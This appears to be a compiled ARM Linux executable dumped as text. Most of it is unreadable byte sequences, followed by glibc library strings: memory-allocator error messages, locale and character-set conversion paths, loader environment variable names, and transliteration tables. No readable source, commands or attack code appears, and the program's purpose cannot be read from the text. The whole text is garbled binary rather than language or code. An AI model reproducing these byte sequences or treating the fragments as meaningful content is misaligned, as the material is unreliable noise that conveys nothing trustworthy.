1X"W0CAT Z  d2 0?d 00! 0S 0S  ?00#P/E1YXX1!?01@D00  ?  000@L #L` pW    0 A R8 P!EW B\㤣l2X*:  R Q R A^ B@P@040Q 6t0f#z? 0  0`dK 5(/lT p"0+4s`"#\$8#2  [> 0R;   R0"/00 0%6 P \ʘ0 ͹!a B Rw0, (0S WC (0QQ !P/E1>0 $ 0`d% X\`0%` d0Nh@`Y ` , 0  B0 0 0  1E. 00aooVE 0S SR。b崐 VZAZf5PzY @00 5Z\pP0 @ 0Pe0P Rp4 04 X  ⬐40S+P (0  0 P 0E 1 , 0 0 @  0 0x0 R`PI 0 P夓( h@00H000L0H0 0* 0 ! "0 #J0Z1 Ph0 h 0 PPPP 00 PEP0ሀ h 0 h0ꈀ 0( S! EE>13?oᅢc Z;5Z50JE>!E0N/B0S0 0Q S00 Wpp40 J0 p?8@# $@TZ 0 !*?C5%冸 F/o"pZZ @*E0A1 H00(AЁE> 0qtP Ü0E1#Ŝ0 Sv 0CZ0僒 5Y0S| 0` 0\0 ! 13T"0!00R E! 5Z 1圓  10C@0'8!h00800, W`C h` E>80)8P 0#030#P00S0F``FAh80 )S  3 #S  R @@hᘶ HEA 0S B20CRP*`F:(00 8  E>03S 0 P `F E>0,0 SE>0@0 3T 0Z0Vo   0Ϡ j 0S0 0`0 Z 5PjUڬ0 m0 e6205[k l0`0@rT0#03R0S 0('0 G`P 0#030#P00S0F``FA 3T 0#030#T00S0@@Z@AhVo  0? jQ 0`0Z 5Pz 0  0 e6205[ ѲP0 0Pe0 RP`,0S E>03S  1SK{  0P S0 4Pe RP`0Ka0, TP WR Vp3 F2@2*000C SpQpFzw <!#0 0" X\0 "` d0 W;J z 0 0bRS SUʬ e 0C 0E.0c!S S  0004 0 00 ?0`0h0!(0@0&808#8 0V 0t:0I@@ZpZ p Q 0Vp0 =p )8P 030#P00S0GppGA( 8 #8\ 0 # 30"\00S0@@x'@ 0AT  P R  P@0pG: R@ZWo  jϠ Z 5PjU0 0 e7205[ X@@Hhp0p0꠵" ?40Q 6R\W 0QG 0QP 4  ,B:0S0100  T E>0 !圓 0` d0 0X \0zZ" 440Q 6x4 ) i0 )R@E>1RAf`E>13 Pa13UP BRTڬ00 U0E.Ф3v" 340Q y 3YF 0@0 0` d0f 0X \0 0 08  o(0SP0 R` +5PjUVU ` 0  ` 0310 e 0c 00cS S } 0Z 00 @ 0`10D0pe!0Wf0W0`a00 0@n E0#! @0>|1/xx`0 0 0p,PtpPP1 !ߴ1!ڴ0!մ0 д0 ˴0 ƴ0 09.弴x0 t巴d0;.`岴 0D0 @媴00 ,奴0| x場8# D J`!x"N!,# "#"\ X " ^<""_l!0 0 p@-`PM0 0 @ 0A0C0A \S00_Q Q XV@ 0RЍp8   0SK p@-`PM0 0 @ 0A0C0A \S00_Q Q lV@ 0RЍpL   0S>4>7XK E-p @P@1@  0@P10 P0Pp 10RJ- ^ !B!01 ^0S* ^/O-,MT[`@  [ [ 0CPa!K1Q!BU pr   @ @DTJ! ("( 0 $ S%( T\ 0F`U@= i0 @$(P  # 3 "P  R0C0CA0R H $H\0  3 #\  R@@H$ 0 A0R0C2 BS P*@D:0T P[ T0P C@D0H@#x0 0ST0S 0$0 00V00 1CP pW0000@@TZJ'808#8 00k0 T:0 H1 @TH:0SP0P0IW ` (ȠP 3#P \`F`FA  (\ 3#\Q@@( HP00^00S 0^ B:U!@T*,Ѝ[ K qCP0PqU0@0@T7J0(@A@% z7 +(P  # 3 "P  R JJA d +R #3,R \@ @ 8V0$A0S.xA'x%C P 0#030#P00S0IIA/S  # 3 "S  R @@ $ZA,Ѝ: KP0RP0 0P ~000| 3 #[ R  X00Bp@- a PcR@A6 J!B! 1>ŠÌ"R` pRSA- @ pcR@ P!`A`Ǡ4ÌQ@> 0- t#P#\#O- ,M ß@T00 ( 4 pTT 0SX} R40a0C SMꄡ M080 00 0H40Q Tp`. M0@  < 800 00 0 0`00#S<0;Q P CA0C S I Tp@Y<@40AD1( 0Ra K`a4 T0P0EA  U 0IS 5  R P0 LR5a4 0A BP08p0 Z0 31#0 Q 0S YB0C  B RQYaQfK 0@-/b!AC#3R0G-` pR@&* S4Q E 0@SW@P @X0S 0 0 QS Q@0A DSQO-$M@` PCU0q1  1 @$ЍP1U 0 p0  P0 00 P ,0 U0 HoU 0F C0K 0P001 00Z0pSH 0J UpGJ 0HH0H Dp 00p0#S0q 0 00S0QUH0 F0C SH 0 Px  000! Q0n 00  R f@TcUp H0 00 0H;H0 003]H000.: 0 ;Uo H000 0Hl0 *00L0G-S&( R2q  B0@SX@`G P@ ` U0DS 0 qR q@ J00RqO-M@`p PBU ʴ1 ^ 1X@ЍP! U  wʗ P0  0Uq  Ur0F C0K 0P01 00C  0 UHG a0  0 000#S 0 )U0I  FS0  P  000! Q0 0 00S0@T00S0 R`k]00 V0 0 O01 00  0 (HH-M@R  S ڃ M 0RKS 10M 0K E-P @P@1@  0@P10 P0Pp 1`-`p@`P@PWp@2PS RP@PWP@2/0@-@ʠ@_LT LP^ Q?o S c C>@\0A00Q ?o0 0C @c>L00 /<00-_:Z %:@6cV0/O-4M⼔X@T0ğZ,0_ ZQ0 B#2 P0 !#2 , 0R4ЍQpJ\`1( 000 0a pX`FP0 A5K @QT0P"P PU@U$0C!X P0 0KA0@@P0@4K @QTP"Q0 (@B1 P00,B !1 1Ḃ@A 00@^ @iS @@c Pd0de @D1dK@@K@P @c Pd@0DE PK1EP T@T` V@T`uV%`F "% AN[@T PP@T PPP"@ S@P1DC@ `0F@` @N`QQ(@ PVQ@5  T %@D "43 %$0 0` 00 @C ` @c0F`N[Q @PQ` @P`P@ `"0 `$`000`~PT @ V@`@K ((80S @-,,P$0  0 /T\e e 0A-a MQ 0P 1S 1@P 0PS U= P 00 0RRЍ\A0PSU& 0 pPS010 0 \PPc0 p PP$00@0S R P0 h 00\PXP0 PK Ye e e |+H)T\@)0P/@-@}P@e @-@^0S0@e @-H1 MS` ذ0S P0  R0) < QiDЍ10S# 00l!R  > ⴰܘ4`S` 1   @@ ⤰!3/0Q 1S1S 0P`0(p 0$,0 80_L$ VK~F pG⼄@ 0S:?C:0XX 0p0S$  5K 8\ `d 2p@-@P M\ P ^ P ŽU ` …V  †^ P U "P"U. 02 0R ЍpK - M0$ Ѝ Q/t:Pkl ?o/o0B0s0 P @ P @ P @ P @ P @  P  @ P @  P  @ P @  P  @ P @  P  @ P @  P  @ P @ P @ P @ P @ P @ P @ P @ P @ P @ P @ P @ P @ P @ P @ P @ P @ P @ P @ ///o b0/PQ @-@A/Q  aB Qp 00`BSoq /oo @ r S?C S?C S>C S>C S=C  S=C Spp@-̌!J#Z 4 5\ @D!VK 6R#2"<$!R \dUV@L*0b `VP0b ǠV`F P! !0b V`F P!!0b V`F P!,!0b V`F P!! R&^b1>!,°T \JUVp!@ Ptp@T:8#Z 4 5 4F 5 5Vm ``M@xPc{- Ѝ10/p1QQP!1/Ɛƒ /  0@-PpC--3#---3#Ɛƒ// ! 02BC< ",#    31 Q1101 RS /0  R0r‚ /0 R5r/ b1 b a0/2 B 30C ; 2 3  /0011 2$  34 //+; 2 3:  B  2! 2 S01} ŠS0C !S0C !!S!1C ,!S1C !2,°RS /  0r‚ /0 R2 B 30C ; 2$ 3 34 !1SRQP8M`-QS5Ѝ /pS,Ѝ p r0/ r0!Ѝ p/ r0Ѝ r0/SRQPM`-Ѝ /@-9/QPG-@3P 1<:Soo Uoo L L|x l2yUlT31:@T0P \ pf` 0T0 @P R UT*@P R4<958@5,P<8̠ P49^0011/G-Q HPp`A X Z@P*`ZVpA D0P0 P P / / / / 4p0@-1 0 MS@PA* P  P 0HS 0  S0LP00LP00S0 Ѝ0 0  Ѝ0L L0 A# P0 0 Ѝ0谎T<0@-@H 0  @0000S0/ //p@-@P@ 0  3/P@y`P P@XO-M @Po z&H0.0h0 3/ 2L0@0 8/PP.T[H:U P PP @0@L00 8/P ߍ[H D/@-P<0yM@0p@nQ&0 3/PP@P yߍEUj-<  @ {p@- `0V@00 @P3/P PMu@H _m R < @W/0S//Q/RS00S 0 //0-M  ЍQ/RS00S!//0-M , ЍA-@<0M@0\p PX@X@ 8/P 0 3/0@0` KP `ߍO-P`LX$,MS@ 0 @pp #(% 8 A0$P0W8@0h 000Y [H0ᰐ@@n눀0 Z8 Z4Xu O:X=0WfZ  R/ Z X0 pp S pX 0 P0 ZpI 50 (@$0X :X0W1S@ A ,Ѝ 40"3P,ЍWB@W@  X(0Td    X0 0W s/ sX00L 0P X A0 , $0(@0@p8@P  (0T 0(,0 400S!0 0P 0S  p0  ,Ѝ  0$0  `꬇$000A-@MQl"S{ ލRS0P &08 0S8ލQh&h"xS X S WkV RX W00P`g0V80 ڈPQ EQXP W ! 3! BPS W8X S8 SP0PS 8 ލx'x"h0S}0'PW!8 00S8ugX[SHa   SH 0I W00P1mXLWJ   H 0E0P0@V808601 d 7P01V80 QkWV8PxPv 00D 0: 488-! /! / / / / /!1AQaq/!1AQaq///--0 -@HЍ/--0 -@HЍ/--0 -@HЍ/--0 -0@HЍ/--0 - 9@HЍ/0S  0S  0C 00 C0 $ # //0-M  ЍG-`Pp㴃MP@  0SK S8 SX S& Sb 0S  '0FP Ѝ0  0 @ L   P` P Pc 0S 0  ') 0 S 0 @ @s0@ }D@ T 0B P p0.0R#0.)P P2 P9 0SB PE PS&( W @0 @0@0 O9 P 0 |20  ) 0  Pf 0dPA ^  0 ( 0 0&K0  @ 04 0@0 /D  @-L0M $0 0Ѝ@-H@-L0@-@- 00Œ / 0- Ì0S@ ÌP p0 S @S PS 0S S S/@-ޟPP' 0@-PM@ QI :ACBA@*" Q p\PЍ0 /  A 0  0   ꉟp@-@P`0 p@p@-`PM@P R Q 0 0S0 0@ 000K000Ѝp@C00 00-M , Ѝ0-M  ЍG-P0M`P P 0Ѝ   P  (0 R@@* p 0- 0 -0 -}0 0S 0S(0S0S @@     p@-P@T `0P0 `^\@TT T0P SDPD-00Pp@@GTph hP |a M@0p@- @TpP P20Up@`a A-0P`P <0S @`p <0S 80`p @0@s 8 P0S @0SAMA0p@-(P@0Tpd`@T@pc A-p  P @Pᔀ0PQQ 0`S `&6/ P<@R 0 2c1,AK p@-@PP U@p0P0/SP @-mW@0P 4n00P 0P@bPi MHi ld X 0PP/x\i   0 RP/l|d @-@P @b@-@;00d 80RA-`A 0P1 Rp 0tpSa 3/P\P ?T P86U@PV #`i  ^ L02p@-S 2 "00 2S 2"001S 1!001S 1!001S v1!001S k1!00l1S ``1`!00L1S U@1@!00w,1S J 1 !00 l 1S ?1!00 a0S 40 00 V0S )0 00 K@PXP XPp@%onTn dn n m mmm0(mm4m ^ LA-`V p@lP@PT P 0S 3/] TY`W0 0R\R0@T PB@U0 %d d 0@-@) 004e Mp@-D`0SpPP @T0PUp@i 0p@-SPp@PP \ 0S   Q0 S 00P1A-Q0P @0S00S pPU `0`PT 0@ST1a PU 0S p0A \0 0@ P 0i i [ 8\ h i \ A-X1`V 0 0<@O_P 00PT@00P@U 0S:?C:0S'L4S 0C`SL40pPH4P@ 0S:?C:0UU 0p(0-$$P4hd d tX@-mmap%sDONElibc-start.c__ehdr_start.e_phentsize == sizeof *GL(dl_phdr)unexpected reloc type in static binaryFATAL: kernel too old FATAL: cannot determine kernel version __libc_start_main/dev/full/dev/nullunknown error: %s%s%s:%u: %s%sAssertion `%s' failed. %nUnexpected error. OUTPUT_CHARSETcharset= %s/%sCLANGUAGE.moPOSIX/usr/share/localemessagesullollxIllullXlldllirce/locale.aliasLC_MESSAGES/usr/share/locale-langpack$ )-$                        plural=nplurals=cxa_atexit.cl != NULL__new_exitfnw+wfileops.cstatus == __codecvt_partial_IO_wfile_underflowLIBC_FATAL_STDERR_/dev/ttyFatal error: glibc detected an invalid stdio handle ,ccs=fileops.cfcts.towc_nsteps == 1fcts.tomb_nsteps == 1_IO_new_file_fopenstrops.coffset >= oldendenlarge_userbuf%s%s%s:%u: %s%sAssertion `%s' failed. arena.creplaced_arena->attached_threads > 0result->attached_threads == 0malloc: top chunk is corruptmalloc_consolidate(): invalid chunk sizecorrupted size vs. prev_sizecorrupted double-linked listcorrupted double-linked list (not small)malloc.cchunk_is_mmapped (p)munmap_chunk(): invalid pointer((size + offset) & (GLRO (dl_pagesize) - 1)) == 0aligned_OK (chunk2mem (p))prev_size (p) == offsetp->attached_threads == 0 free(): invalid pointerfree(): invalid sizetc_idx < TCACHE_MAX_BINSfree(): invalid next size (fast)double free or corruption (fasttop)invalid fastbin entry (free)double free or corruption (top)double free or corruption (out)double free or corruption (!prev)free(): invalid next size (normal)free(): corrupted unsorted chunksheap->ar_ptr == avchunksize_nomask (p) == (0 | PREV_INUSE)new_size > 0 && new_size < (long) (2 * MINSIZE)new_size > 0 && new_size < HEAP_MAX_SIZE((unsigned long) ((char *) p + new_size) & (pagesz - 1)) == 0((char *) p + new_size) == ((char *) heap + heap->size)/proc/sys/vm/overcommit_memory((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)(unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)break adjusted to free malloc spacecorrection >= 0((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0malloc(): memory corruption (fast)malloc(): smallbin double linked list corruptedmalloc(): memory corruptionchunk_main_arena (bck->bk)chunk_main_arena (fwd)tcache->entries[tc_idx] > 0malloc(): corrupted unsorted chunksbit != 0(unsigned long) (size) >= (unsigned long) (nb)malloc(): corrupted unsorted chunks 2newsize >= nb && (((unsigned long) (chunk2mem (p))) % alignment) == 0realloc(): invalid old size!chunk_is_mmapped (oldp)realloc(): invalid next sizencopies >= 3(unsigned long) (newsize) >= (unsigned long) (nb)realloc(): invalid pointer!victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim))!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))!p || chunk_is_mmapped (mem2chunk (p)) || &main_arena == arena_for_chunk (mem2chunk (p))!p || chunk_is_mmapped (mem2chunk (p)) || ar_ptr == arena_for_chunk (mem2chunk (p))a->attached_threads > 0!newp || chunk_is_mmapped (mem2chunk (newp)) || ar_ptr == arena_for_chunk (mem2chunk (newp))!mem || chunk_is_mmapped (mem2chunk (mem)) || av == arena_for_chunk (mem2chunk (mem))nclears >= 3(char *) chunk2mem (p) + 4 * SIZE_SZ <= paligned_mem(char *) p + size > paligned_memmalloc_check_get_size: memory corruptionArena %d: system bytes = %10u in use bytes = %10u Total (incl. mmap): max mmap regions = %10u max mmap bytes = %10lu mtrim__libc_calloc_mid_memalign__libc_reallocremove_from_free_listdetach_arenaget_free_list__libc_malloc_int_reallocmremap_chunkmunmap_chunkheap_trim_int_freesysmalloctcache_gettcache_put_int_malloc_int_memalignarena_thread_freeresUnknown error X$$X4ANSI_X3.4-1968//TRANSLITmbsrtowcs_l.c((wchar_t *) data.__outbuf)[-1] == L'\0'result > 0__mbsinit (data.__statep)status == __GCONV_OK || status == __GCONV_EMPTY_INPUT || status == __GCONV_ILLEGAL_INPUT || status == __GCONV_INCOMPLETE_INPUT || status == __GCONV_FULL_OUTPUT__mbsrtowcs_l/proc/sys/kernel/ngroups_max/proc/sys/kernel/rtsig-max..../sysdeps/unix/sysv/linux/getcwd.cerrno != ERANGE || buf != NULL || size != 0__getcwd../sysdeps/unix/sysv/linux/getpagesize.cGLRO(dl_pagesize) != 0__getpagesize../sysdeps/unix/sysv/linux/getsysstats.c*cp <= *re/sys/devices/system/cpu/online/proc/stat/proc/cpuinfoprocessor/sys/devices/system/cpunext_lineThe futex facility returned an unexpected error code.stack smashing detected*** %s ***: %s terminated GLIBC_TUNABLES/etc/suid-debugglibc.elision.skip_lock_after_retriesglibc.malloc.trim_thresholdMALLOC_TRIM_THRESHOLD_glibc.malloc.perturbMALLOC_PERTURB_glibc.elision.triesglibc.elision.enableglibc.elision.skip_lock_busyglibc.malloc.top_padMALLOC_TOP_PAD_glibc.malloc.mmap_maxMALLOC_MMAP_MAX_glibc.elision.skip_trylock_internal_abortglibc.malloc.tcache_unsorted_limitglibc.elision.skip_lock_internal_abortglibc.tune.hwcap_maskLD_HWCAP_MASKglibc.malloc.arena_maxMALLOC_ARENA_MAXglibc.malloc.mmap_thresholdMALLOC_MMAP_THRESHOLD_glibc.malloc.tcache_countglibc.malloc.arena_testMALLOC_ARENA_TESTglibc.malloc.tcache_maxglibc.malloc.checkMALLOC_CHECK_/var/tmp/var/profileGCONV_PATHGETCONF_DIRHOSTALIASESLD_AUDITLD_DEBUGLD_DEBUG_OUTPUTLD_DYNAMIC_WEAKLD_HWCAP_MASKLD_LIBRARY_PATHLD_ORIGIN_PATHLD_PRELOADLD_PROFILELD_SHOW_AUXVLD_USE_LOAD_BIASLOCALDOMAINLOCPATHMALLOC_TRACENIS_PATHNLSPATHRESOLV_HOST_CONFRES_OPTIONSTMPDIRTZDIRswphalfthumb26bitfastmultfpavfpedspjavaiwmmxtcrunchthumbeeneonvfpv3vfpv3d16tlsvfpv4idivaidivtvfpd32lpaeevtstrmaespmullsha1sha2crc32LD_WARNsetup-vdso.hph->p_type != PT_TLSget-dynamic-info.hcnt <= DL_RO_DYN_TEMP_CNTinfo[DT_PLTREL]->d_un.d_val == DT_REL || info[DT_PLTREL]->d_un.d_val == DT_RELAinfo[DT_RELAENT]->d_un.d_val == sizeof (ElfW(Rela))info[DT_RELENT]->d_un.d_val == sizeof (ElfW(Rel)) WARNING: Unsupported flag value(s) of 0x%x in DT_FLAGS_1. out of memory LD_LIBRARY_PATHLD_BIND_NOWLD_BIND_NOTLD_DYNAMIC_WEAKLD_PROFILE_OUTPUTLD_ASSUME_KERNELelf_get_dynamic_infosetup_vdso/proc/sys/kernel/osrelease,IGNORE//gconv.cirreversible != NULLoutbuf != NULL && *outbuf != NULL__gconvgconv_db.cstep->__end_fct == NULL-__gconv_release_stepUCS4//ISO-10646/UCS4/UCS-4//ISO-10646/UCS4/UCS-4BE//ISO-10646/UCS4/CSUCS4//ISO-10646/UCS4/ISO-10646//ISO-10646/UCS4/10646-1:1993//ISO-10646/UCS4/10646-1:1993/UCS4/ISO-10646/UCS4/OSF00010104//ISO-10646/UCS4/OSF00010105//ISO-10646/UCS4/OSF00010106//ISO-10646/UCS4/WCHAR_T//INTERNALUTF8//ISO-10646/UTF8/UTF-8//ISO-10646/UTF8/ISO-IR-193//ISO-10646/UTF8/OSF05010001//ISO-10646/UTF8/ISO-10646/UTF-8/ISO-10646/UTF8/UCS2//ISO-10646/UCS2/UCS-2//ISO-10646/UCS2/OSF00010100//ISO-10646/UCS2/OSF00010101//ISO-10646/UCS2/OSF00010102//ISO-10646/UCS2/ANSI_X3.4//ANSI_X3.4-1968//ISO-IR-6//ANSI_X3.4-1968//ANSI_X3.4-1986//ANSI_X3.4-1968//ISO_646.IRV:1991//ANSI_X3.4-1968//ASCII//ANSI_X3.4-1968//ISO646-US//ANSI_X3.4-1968//US-ASCII//ANSI_X3.4-1968//US//ANSI_X3.4-1968//IBM367//ANSI_X3.4-1968//CP367//ANSI_X3.4-1968//CSASCII//ANSI_X3.4-1968//OSF00010020//ANSI_X3.4-1968//UNICODELITTLE//ISO-10646/UCS2/UCS-2LE//ISO-10646/UCS2/UCS-2BE//UNICODEBIG//.so:gconv_conf.celem != NULLcwd != NULL/usr/lib/arm-linux-gnueabi/gconvmodulegconv-modules__gconv_get_pathISO-10646/UCS4/=INTERNAL->ucs4=ucs4->INTERNALUCS-4LE//=INTERNAL->ucs4le=ucs4le->INTERNALISO-10646/UTF8/=INTERNAL->utf8=utf8->INTERNALISO-10646/UCS2/=ucs2->INTERNAL=INTERNAL->ucs2ANSI_X3.4-1968//=ascii->INTERNAL=INTERNAL->asciiUNICODEBIG//=ucs2reverse->INTERNAL=INTERNAL->ucs2reverseD8h4(,/P4d9@gconv_builtin.ccnt < sizeof (map) / sizeof (map[0])__gconv_get_builtin_trans../iconv/skeleton.coutbufstart == NULLinend - *inptrp < 4gconv_simple.c*outptrp + 4 > outend../iconv/loop.c(state->__count & 7) <= sizeof (state->__value)inptr - bytebuf > (state->__count & 7)inend != &bytebuf[MAX_NEEDED_INPUT]inend - inptr > (state->__count & ~7)inend - inptr <= sizeof (state->__value)outbuf == outerrnstatus == __GCONV_FULL_OUTPUTch != 0xc0 && ch != 0xc1internal_ucs2reverse_loop_single__gconv_transform_internal_ucs2reverseucs2reverse_internal_loop_single__gconv_transform_ucs2reverse_internalinternal_ucs2_loop_single__gconv_transform_internal_ucs2ucs2_internal_loop_single__gconv_transform_ucs2_internalutf8_internal_loop_single__gconv_transform_utf8_internalinternal_utf8_loop_single__gconv_transform_internal_utf8internal_ascii_loop_single__gconv_transform_internal_ascii__gconv_transform_ascii_internalucs4le_internal_loop_unaligneducs4le_internal_loop__gconv_transform_ucs4le_internalinternal_ucs4le_loop_unaligned__gconv_transform_internal_ucs4le__gconv_transform_ucs4_internal__gconv_transform_internal_ucs4GCONV_PATH/usr/lib/arm-linux-gnueabi/gconv/gconv-modules.cachegconv_dl.cobj->counter > 0found->handle == NULLgconvgconv_initgconv_enddo_release_shlib__gconv_find_shlib   LC_COLLATELC_CTYPELC_MONETARYLC_NUMERICLC_TIMELC_MESSAGESLC_PAPERLC_NAMELC_ADDRESSLC_TELEPHONELC_MEASUREMENTLC_IDENTIFICATION +3?HP[hwyLOCPATHT    0/../n- LC_ALLLANGfindlocale.clocale_codeset != NULL_nl_find_locale/usr/lib/localeV. Dt@    loadlocale.ccategory == LC_CTYPE/SYS__nl_intern_locale_dataloadarchive.cpowerof2 (ps)last->next == mappedranges[cnt].from >= fromarchmapped == &headmap_nl_archive_subfreeres_nl_load_locale_from_archive/usr/lib/locale/locale-archiveupperloweralphadigitxdigitspaceprintgraphblankcntrlpunctalnumtouppertolowerLV5+%1@ -'HTh!\lptx|h!\lptx|0123456789IH܃8%x%0%$$\$$##4#""!,!8HHHHHI( (xx>>~~~~     !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~     `     ` (C)<<-(R)u,>> 1/4 1/2 3/4 AExssaeIJij'nOEoesLJLjljNJNjnjDZDzdz'^'`_:~ -------'','"",,"+o...... ``````<>!!/???!!? C=RsEURINRa/ca/sCc/oc/ugHHHhIILlNNoPQRRRTEL(TM)ZOhmZBCeeEFMoiDdeij 1/3 2/3 1/5 2/5 3/5 4/5 1/6 5/6 1/8 3/8 5/8 7/8 1/IIIIIIIVVVIVIIVIIIIXXXIXIILCDMiiiiiiivvviviiviiiixxxixiilcdm<--><-><==><=>-/\*|:~<=>=<<>><<<>>>NULSOHSTXETXEOTENQACKBELBSHTLFVTFFCRSOSIDLEDC1DC2DC3DC4NAKSYNETBCANEMSUBESCFSGSRSUSSPDEL_NL(1)(2)(3)(4)(5)(6)(7)(8)(9)(10)(11)(12)(13)(14)(15)(16)(17)(18)(19)(20)(1)(2)(3)(4)(5)(6)(7)(8)(9)(10)(11)(12)(13)(14)(15)(16)(17)(18)(19)(20)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)(m)(n)(o)(p)(q)(r)(s)(t)(u)(v)(w)(x)(y)(z)(A)(B)(C)(D)(E)(F)(G)(H)(I)(J)(K)(L)(M)(N)(O)(P)(Q)(R)(S)(T)(U)(V)(W)(X)(Y)(Z)(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)(m)(n)(o)(p)(q)(r)(s)(t)(u)(v)(w)(x)(y)(z)(0)-|+++++++++o::====== =(21)(22)(23)(24)(25)(26)(27)(28)(29)(30)(31)(32)(33)(34)(35)(36)(37)(38)(39)(40)(41)(42)(43)(44)(45)(46)(47)(48)(49)(50)hPadaAUbaroVpcpAnAuAmAkAKBMBGBcalkcalpFnFuFugmgkgHzkHzMHzGHzTHzulmldlklfmnmummmcmkmmm^2cm^2m^2km^2mm^3cm^3m^3km^3m/sm/s^2PakPaMPaGParadrad/srad/s^2psnsusmspVnVuVmVkVMVpWnWuWmWkWMWa.m.BqcccdC/kgCo.dBGyhaHPinKKKMktlmlnloglxmbmilmolPHp.m.PPMPRsrSvWbfffiflffifflst+___,.;:?!(){}#&*+-<>=\$%@!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzACDGJKNOPQSTUVWXYZabcdfhijkmnpqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABDEFGJKLMNOPQSTUVWXYabcdefghijklmnopqrstuvwxyzABDEFGIJKLMOSTUVWXYabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890123456789012345678901234567890123456789 %,37:>BFJNRVY]aeimquy} !%*/49<AFILORUX[^adhknqtw|  #',269=BEHKNQUZ^aejptw{  "',16;@EJNSX\`dhlqtx}  &,28>DJPVZ^bfjnrvz $).38=BGLQV[`ejoty~ #(-27<?BEHKNQTWZ]`einqtz "(-15:>BFJNRVZ^bgmquy} '+/37;?CGKOSW[_cgmquy             " % ( + . 1 4 7 : = @ C F I L O R U X [ ^ a d g j l o r u x { ~          # & ) , / 2 5 8 ; > A D G J M P S V Y \ _ b e h k n q t w z }          " % ( + . 1 4 7 : = @ C F I L O R U X [ ^ a d g j m p s v y |          ! $ ' * - 0 3 6 9 < ? B E H K N Q T W Z ] ` c f i l o r u x { ~          # & ) , / 2 5 8 ; > A D G J M P S V Y \ _ b e h k n q t w z }   "%(+.147:=@CFILORUX[^adgjmpsvy|  !$'*-0369<?BEHKNQTWZ]`cfilorux{~  #&),/258;>ADGJMPSVY\_behknqtwz}  "%(+.147:=@CFILORUX[^adgjmpsvy|  !$'*-0369<?BEHKNQTWZ]`cfilorux{~23IRS                    " $ % & / 5 6 7 9 : < D G H I _ ` a b c !!!!! ! ! ! !!!!!!!!!!!!!!!"!$!&!(!,!-!.!/!0!1!3!4!9!E!F!G!H!I!S!T!U!V!W!X!Y!Z![!\!]!^!_!`!a!b!c!d!e!f!g!h!i!j!k!l!m!n!o!p!q!r!s!t!u!v!w!x!y!z!{!|!}!~!!!!!!!!""""#"6"<"d"e"j"k"""$$$$$$$$$ $ $ $ $ $$$$$$$$$$$$$$$$$$$ $!$#$$$`$a$b$c$d$e$f$g$h$i$j$k$l$m$n$o$p$q$r$s$t$u$v$w$x$y$z${$|$}$~$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%% %%%%%$%,%4%<%%t*u*v*00Q2R2S2T2U2V2W2X2Y2Z2[2\2]2^2_2222222222222222q3r3s3t3u3v333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333) MNOPRTUVWYZ[\_`abcdefhijk  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~    !"#$%&'()*+,-./0123456789;<=>@ABCDFJKLMNOPRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~              " $ & ( * , . 0 2 4 6 8 : < > @ B D F H J L N P R T V X Z \ ^ ` b d f h j l n p r t v x z | ~              " $ & ( * , . 0 2 4 6 8 : < > @ B D F H J L N P R T V X Z \ ^ ` b d f h j l 